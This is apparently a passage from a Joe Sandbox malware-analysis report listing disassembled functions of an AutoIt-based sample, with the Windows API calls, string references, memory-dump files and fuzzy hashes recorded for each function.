Function 00007FF6B5B92240 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6B5B9226B
GetDeviceCaps.GDI32 ref: 00007FF6B5B9227C
GetDeviceCaps.GDI32 ref: 00007FF6B5B9228C
ReleaseDC.USER32 ref: 00007FF6B5B92299
MulDiv.KERNEL32 ref: 00007FF6B5B922AC
MulDiv.KERNEL32 ref: 00007FF6B5B922BE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction ID: 218077907452f2dada1c62a4ed4a1eaa8e8d65a60d8797494b722b73de16863d
Opcode Fuzzy Hash: db491a3267b275339f548d81dbee8ecebd291c24a581f1a9e6271a89bb132f3c
Instruction Fuzzy Hash: 7D11A035B15B0182EB08CF69A828429B6A5FB89FC1F148038CF1E87BDADE3DDC018700

Function 00007FF6B5B9DA1C Relevance: 9.0, APIs: 6, Instructions: 34windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32 ref: 00007FF6B5B9DA2F
SendMessageTimeoutW.USER32 ref: 00007FF6B5B9DA5C
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B9DA6F
OpenProcess.KERNEL32 ref: 00007FF6B5B9DA81
TerminateProcess.KERNEL32 ref: 00007FF6B5B9DA8F
CloseHandle.KERNEL32 ref: 00007FF6B5B9DA98

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction ID: c79f143a5a95c452cca4f5fdb9e35a748dfb06e27e2036260312205cbe9cb542
Opcode Fuzzy Hash: 8de778dfa191c13712f893bc864b87f9ca3b199504ecf632adb079649907a02e
Instruction Fuzzy Hash: 8D018432A5474283EB109B15F824EA97361FF8AF95F445034CB0A46B99DF3CD4488B00

Function 00007FF6B5B8F378 Relevance: 9.0, APIs: 6, Instructions: 33threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32 ref: 00007FF6B5B8F3A8
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B8F3B8
GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B8F3C0
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B8F3D0
GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B8F3D8
AttachThreadInput.USER32 ref: 00007FF6B5B8F3E5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
String ID:
API String ID: 179993514-0
Opcode ID: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction ID: dfb3af4a357eb563926d9138d9d0a7cdc610384c933f1f19f20a2625e860d5fc
Opcode Fuzzy Hash: 3c8edd0cfd7487a94cc2a97b78295d5ab7e6e6e303c53cb727e1080bae55b3ee
Instruction Fuzzy Hash: B1F0CD20F1975643F7504B79A858EA95292BF89F45F845034D70E82BDADF3CD8848600

Function 00007FF6B5B8D868 Relevance: 9.0, APIs: 6, Instructions: 22memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF6B5B8D877
UnloadUserProfile.USERENV ref: 00007FF6B5B8D885
CloseHandle.KERNEL32 ref: 00007FF6B5B8D88F
CloseHandle.KERNEL32 ref: 00007FF6B5B8D898
GetProcessHeap.KERNEL32 ref: 00007FF6B5B8D89E
HeapFree.KERNEL32 ref: 00007FF6B5B8D8AC

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction ID: 8b5f4dd83cf33181522b68fb8c1e72bf482cc1a1ec6dc8d87dbb0870d077f498
Opcode Fuzzy Hash: d3946954f153790a4c7b3048297fa9f332d93d6b437e3fe9da6548dd2ef4d2ab
Instruction Fuzzy Hash: 8BF0C765A54A01C2D704DF7AD8644A96361FF89FA5B145131CE2E863FDCE3CD8D98300

Function 00007FF6B5BB7E38 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 237COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8B748: CLSIDFromProgID.OLE32 ref: 00007FF6B5B8B771
Part of subcall function 00007FF6B5B8B748: ProgIDFromCLSID.OLE32 ref: 00007FF6B5B8B790
Part of subcall function 00007FF6B5B8B748: lstrcmpiW.KERNEL32 ref: 00007FF6B5B8B7A2
Part of subcall function 00007FF6B5B8B748: CoTaskMemFree.OLE32 ref: 00007FF6B5B8B7B4

Part of subcall function 00007FF6B5B8C034: WNetAddConnection2W.MPR ref: 00007FF6B5B8C143
Part of subcall function 00007FF6B5B8C034: RegConnectRegistryW.ADVAPI32 ref: 00007FF6B5B8C164
Part of subcall function 00007FF6B5B8C034: RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5B8C193
Part of subcall function 00007FF6B5B8C034: RegQueryValueExW.ADVAPI32 ref: 00007FF6B5B8C1CD

CoInitializeSecurity.OLE32 ref: 00007FF6B5BB7F26
CoCreateInstanceEx.OLE32 ref: 00007FF6B5BB80C6
CoTaskMemFree.OLE32 ref: 00007FF6B5BB80D2
CoSetProxyBlanket.OLE32 ref: 00007FF6B5BB812B

Strings

NULL Pointer assignment, xrefs: 00007FF6B5BB8148

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FreeFromProgTask$BlanketConnectConnection2CreateInitializeInstanceOpenProxyQueryRegistrySecurityValuelstrcmpi
String ID: NULL Pointer assignment
API String ID: 1653399731-2785691316
Opcode ID: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction ID: 9338f66917610e285928d8811d9e5d8b50e5109024ffeb124fdae628fa79a23b
Opcode Fuzzy Hash: 069250944c4b5cae8d9ba027fcc4337deb9b93f0114834e2bf5349901f1538a4
Instruction Fuzzy Hash: CBB19B32A04A418AE710DF69D4A01ED7BB0FB89B98F500135EF4D97B9ADF78E945CB40

Function 00007FF6B5BB6920 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6B5BB695A
CharUpperBuffW.USER32 ref: 00007FF6B5BB6A77
VariantClear.OLEAUT32 ref: 00007FF6B5BB6C11

Part of subcall function 00007FF6B5BA03E8: VariantInit.OLEAUT32 ref: 00007FF6B5BA0437
Part of subcall function 00007FF6B5BA03E8: VariantCopy.OLEAUT32 ref: 00007FF6B5BA0443
Part of subcall function 00007FF6B5BA03E8: VariantClear.OLEAUT32 ref: 00007FF6B5BA0450

Strings

AUTOIT.ERROR, xrefs: 00007FF6B5BB6A7D
Incorrect Parameter format, xrefs: 00007FF6B5BB6990, 00007FF6B5BB6B81

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
Instruction ID: 5077c18429588b34e5ad9dafa71697ec957faa0cfdb6bd31901a294f00901ac2
Opcode Fuzzy Hash: 547064277256a578b14e90cf15900b857c5a7bc6aa9a77bb28066ad4bccadfc1
Instruction Fuzzy Hash: 31915A26B08B4285EB10EF69D4A01ED3375EB4AF88B554436DF4D9779ADE78EC06C340

Function 00007FF6B5B90EAF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF6B5B90EDB

Part of subcall function 00007FF6B5B90B90: CharUpperBuffW.USER32(?,?,00000001,00007FF6B5B90F61), ref: 00007FF6B5B90C6A

Strings

REGEXPTITLE, xrefs: 00007FF6B5B9105A, 00007FF6B5B9106F
LAST, xrefs: 00007FF6B5B90F55, 00007FF6B5B90F7E
ACTIVE, xrefs: 00007FF6B5B90FBC, 00007FF6B5B90FCD
HANDLE, xrefs: 00007FF6B5B9100B, 00007FF6B5B9101C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: BuffCharForegroundUpperWindow
String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
API String ID: 3570115564-1994484594
Opcode ID: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction ID: 675ee09804b9da7bf1c2fd11f6bb2ba0a565952e0b65dd4c6c62042a037217e7
Opcode Fuzzy Hash: aa2d75645f71e86a50ff5ca5877f2f0bc66e0fe209def1fa84d7ab904b0cb0e5
Instruction Fuzzy Hash: 2A71AF12F09A4381FE659B6DD8312F962A1AF66F84F844031DB0EC669FEE7DED459300

Function 00007FF6B5B99898 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 127COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32 ref: 00007FF6B5B998EB

Strings

KEYS, xrefs: 00007FF6B5B99938
APPEND, xrefs: 00007FF6B5B999BE
EXISTS, xrefs: 00007FF6B5B9997B
REMOVE, xrefs: 00007FF6B5B998F1

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction ID: 93892619113a72c18f59596c1406b97f24b8908d4e48cae54feeccb159935c09
Opcode Fuzzy Hash: e386f8ab1d92894773db659cf3300b3f053d0d71c47061b204d1c004bb332453
Instruction Fuzzy Hash: 0041C322B19A5381EAE04F2D88651B9A3D1AB76FD0B544631DB5DC379FEE3DEC428700

Function 00007FF6B5B59B18 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 121COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B59B56

Strings

O, xrefs: 00007FF6B5B59BFD
#, xrefs: 00007FF6B5B59BEB
E, xrefs: 00007FF6B5B59BF7

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: #$E$O
API String ID: 3215553584-248080428
Opcode ID: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction ID: f23d60139d4238477e6d9d5d025c3b2064eeea6d7342be37d0021f47618dfa59
Opcode Fuzzy Hash: d3d7a61e74d4108eabe1bc636e3d6f208025dc38477a0a881e01c4be7aab7093
Instruction Fuzzy Hash: F0416D22A1965185EF598F29E8606ED22A4BF56F88F184031EF4D8779EDF38E841CB00

Function 00007FF6B5B9B62C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 95filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B9CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6B5B9CA62

Part of subcall function 00007FF6B5B9CA34: GetFullPathNameW.KERNEL32 ref: 00007FF6B5B9CA77

lstrcmpiW.KERNEL32 ref: 00007FF6B5B9B682
MoveFileW.KERNEL32 ref: 00007FF6B5B9B6B6
wcscat.LIBCMT ref: 00007FF6B5B9B744
SHFileOperationW.SHELL32 ref: 00007FF6B5B9B7A9

Strings

\*.*, xrefs: 00007FF6B5B9B736

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileFullNamePath$MoveOperationlstrcmpiwcscat
String ID: \*.*
API String ID: 3196045410-1173974218
Opcode ID: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction ID: b23ca475c1379e92706b27a8093529406d7ca64f37c6a977c7b64808dc7ac1f0
Opcode Fuzzy Hash: 19a9c623901bedbfdd4e3d81bd8b065a0a92971c24d4d3071b995089b4c63289
Instruction Fuzzy Hash: 79415722A1869395EB60DB28D8511FD6760FF66B84F800135DB4D9369FDF28ED05C750

Function 00007FF6B5B8DF3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B90730: GetClassNameW.USER32 ref: 00007FF6B5B9075B

SendMessageW.USER32 ref: 00007FF6B5B8DFE3
SendMessageW.USER32 ref: 00007FF6B5B8E000
SendMessageW.USER32 ref: 00007FF6B5B8E036

Strings

ComboBox, xrefs: 00007FF6B5B8DF5F
ListBox, xrefs: 00007FF6B5B8DF9C

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$ClassName
String ID: ComboBox$ListBox
API String ID: 787153527-1403004172
Opcode ID: bcdae5920d2d928eb4967bcf07730aedcb02b36852307e6df1d0eb8a4287a533
Instruction ID: 280e68c8ce9d6882f88481fb1036adf96b8a41ffbf35347d59396f1dfe4ef784
Opcode Fuzzy Hash: bcdae5920d2d928eb4967bcf07730aedcb02b36852307e6df1d0eb8a4287a533
Instruction Fuzzy Hash: 7F31D222A08B4386FA20DB19E8615F96360FB8AF80F445631DB5D8779BCF3CE906C711

Function 00007FF6B5BAD914 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET ref: 00007FF6B5BAD954
HttpSendRequestW.WININET ref: 00007FF6B5BAD988
HttpQueryInfoW.WININET ref: 00007FF6B5BAD9D4
InternetCloseHandle.WININET ref: 00007FF6B5BADA38

Part of subcall function 00007FF6B5BAEAB8: GetLastError.KERNEL32 ref: 00007FF6B5BAEAD4
Part of subcall function 00007FF6B5BAEAB8: SetEvent.KERNEL32 ref: 00007FF6B5BAEAE9

Strings

, xrefs: 00007FF6B5BAD9C1

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction ID: 338b408c2e8709dd3ad8233db6c77734c938f6526bb6014e6091046ddb2b52d0
Opcode Fuzzy Hash: fe032384e3ae49ab6650df1e9e36687832eb56e7d0293f7a573cd5f7425b5e8f
Instruction Fuzzy Hash: 03319422A1CB4246FB609F19E464AEA6750FB86F80F585131EF4D97B5EDE3CD8028740

Function 00007FF6B5BC93E8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B2932C: CreateWindowExW.USER32 ref: 00007FF6B5B293BC
Part of subcall function 00007FF6B5B2932C: GetStockObject.GDI32 ref: 00007FF6B5B293D9
Part of subcall function 00007FF6B5B2932C: SendMessageW.USER32 ref: 00007FF6B5B293EC

SendMessageW.USER32 ref: 00007FF6B5BC94C1
LoadLibraryW.KERNEL32 ref: 00007FF6B5BC94CE
SendMessageW.USER32 ref: 00007FF6B5BC94EC
DestroyWindow.USER32 ref: 00007FF6B5BC94FA

Strings

SysAnimate32, xrefs: 00007FF6B5BC9460

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction ID: 1a1f3011fa6cdcf0a98ca212cb42302c5658893210eb2c5d954c7a1cab671764
Opcode Fuzzy Hash: 3e4d22fa235855ff4f2554ab96e3220b01af827ee5636b6f724e9c857c26afd0
Instruction Fuzzy Hash: 4E3150326097C1CAE7608F28E464BAA33A0FB86B91F544139DB5947B99DF3CD844CF01

Function 00007FF6B5B49164 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6B5B49184
GetProcAddress.KERNEL32 ref: 00007FF6B5B4919A
FreeLibrary.KERNEL32 ref: 00007FF6B5B491BF

Strings

mscoree.dll, xrefs: 00007FF6B5B4917B
CorExitProcess, xrefs: 00007FF6B5B49193

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction ID: 0db9a9cee5d223138d7ab7c6ee4ebd886fc52a58ef9361819e192faf5f05d7e2
Opcode Fuzzy Hash: ec043f9b6fed639492fe08c1f7567e430e68234150a908e2993f018ebf9edeab
Instruction Fuzzy Hash: 76F04421A19A4291EF549B19F4A46B963A0EF89F90F541035EB0F866AADF3CD845CB00

Function 00007FF6B5BB45A4 Relevance: 7.8, APIs: 5, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32 ref: 00007FF6B5BB4700
#17.WSOCK32 ref: 00007FF6B5BB4735
WSAGetLastError.WSOCK32 ref: 00007FF6B5BB4744
inet_ntoa.WSOCK32 ref: 00007FF6B5BB47E3
htons.WSOCK32 ref: 00007FF6B5BB4833

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ErrorLasthtonsinet_ntoa
String ID:
API String ID: 2227131780-0
Opcode ID: bd5e1163d7a9b305c8aebbe74614b584ebe830359c93ecb63b9e7e3e647e6822
Instruction ID: 5e8d1cdc54fb45444c485c819e169ebdbdd54e65ba8ede2a2f8755a5add847e4
Opcode Fuzzy Hash: bd5e1163d7a9b305c8aebbe74614b584ebe830359c93ecb63b9e7e3e647e6822
Instruction Fuzzy Hash: 23A1B522A0868286DA24FB2AD8A16F96791FF86F94F404131DF4EC779FDE7DD9018710

Function 00007FF6B5BBE838 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6B5BBE8EA
